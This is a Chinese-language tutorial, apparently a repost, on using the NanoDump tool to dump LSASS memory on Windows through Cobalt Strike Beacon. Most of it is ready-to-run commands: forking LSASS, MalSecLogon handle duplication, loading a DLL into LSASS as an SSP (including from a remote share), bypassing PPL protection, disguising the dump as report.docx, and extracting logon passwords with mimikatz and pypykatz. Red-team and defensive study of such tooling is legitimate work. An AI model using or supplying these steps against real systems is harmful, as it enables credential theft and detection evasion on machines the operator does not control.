怎么使用NanoDump导出LSASS进程数据

关于NanoDump NanoDump是一款功能强大的MiniDump转储文件提取工具，借助该工具，研究人员可以轻松提取LSASS进程中的MiniDump数据。

功能介绍 工具安装与配置 首先，我们需要使用以下命令将该项目源码克隆到本地：

git clone https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6.git

在Linux系统上，我们需要使用MinGW来编译NanoDump源码：

make -f Makefile.mingw

在Windows系统上，我们需要使用MSVC来编译NanoDump源码：

nmake -f Makefile.msvc

Cobalt Strike导入 接下来，我们需要将生成的NanoDump.cna脚本导入到Cobalt Strike中。

工具使用 我们可以在Cobalt Strike的Beacon控制台中直接运行“nanodump”命令来使用NanoDump：

beacon> nanodump

恢复签名 当你下载了NanoDump生成的MiniDump转储文件之后，可以使用以下命令来恢复无效签名：

scripts/restore_signature 

获取敏感信息 下列命令可以通过mimikatz来获取转储文件中的敏感信息：

mimikatz # sekurlsa::minidump mimikatz # sekurlsa::logonPasswords full

如果你使用的是Linux系统，也可以使用mimikatz的Python 3版本，即pypykatz来获取转储文件中的敏感信息：

python3 -m pypykatz lsa minidump 

以SSP加载NanoDump 我们可以在LSASS中以SSP的形式加载NanoDump，以避免打开一个句柄。此时，转储的数据将使用一个无效签名（默认为C:\Windows\Temp\report.docx）写入磁盘。当转储完成后，DllMain将返回FALSE来控制LSASS卸载NanoDump DLL。

如需修改转储路径和签名配置，可以直接修改entry.c中的NanoDump函数。

NanoDump DLL上传和加载

beacon> load_sspbeacon> delete_file C:\Windows\Temp\[RANDOM].dll

加载本地DLL

beacon> load_ssp c:\ssp.dll

加载远程DLL

beacon> load_ssp \\10.10.10.10\openShare\ssp.dll

PPL绕过

beacon> nanodump_ppl -v -w C:\Windows\Temp\lsass.dmp

工具使用演示 通过创建一个Fork间接读取LSASS进程数据，并使用无效签名将转储文件写入磁盘：

beacon> nanodump --fork --write C:\lsass.dmp

使用MalSecLogon在一个记事本进程中获取LSASS句柄，然后拷贝句柄以访问LSASS，并读取转储信息：

beacon> nanodump --malseclogon --dup --fork --binary C:\Windows\notepad.exe --valid

使用MalSecLogon获取句柄，通过使用Fork间接读取LSASS，并使用无效签名将转储文件写入磁盘：

beacon> nanodump --malseclogon --fork --valid --write C:\Windows\Temp\lsass.dmp

使用无效签名下载转储文件：

beacon> nanodump

拷贝现有句柄，并使用无效签名将转储文件写入磁盘：

beacon> nanodump --dup --write C:\Windows\Temp\report.docx

获取LSASS进程PID：

beacon> nanodump --getpid

在LSASS中以SSP加载NanoDump：

beacon> load_sspbeacon> delete_file C:\Windows\Temp\[RANDOM].dll

在LSASS中以SSP加载NanoDump（远程）：

beacon> load_ssp \\10.10.10.10\openShare\nanodump_ssp.x64.dll

转储LSASS并绕过PPL：

beacon> nanodump_ppl --dup --write C:\Windows\Temp\lsass.dmp

工具运行截图

许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。

项目地址 https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6

参考资料 https://www.php.cn/link/5a18b2b3a647804eec32e380a70ba66f

https://www.php.cn/link/62cd381bcb4bf2191c555395945e4c09

https://www.php.cn/link/7acce0f7501ebb1f74878d577f16cfd6/blob/main/source/entry.c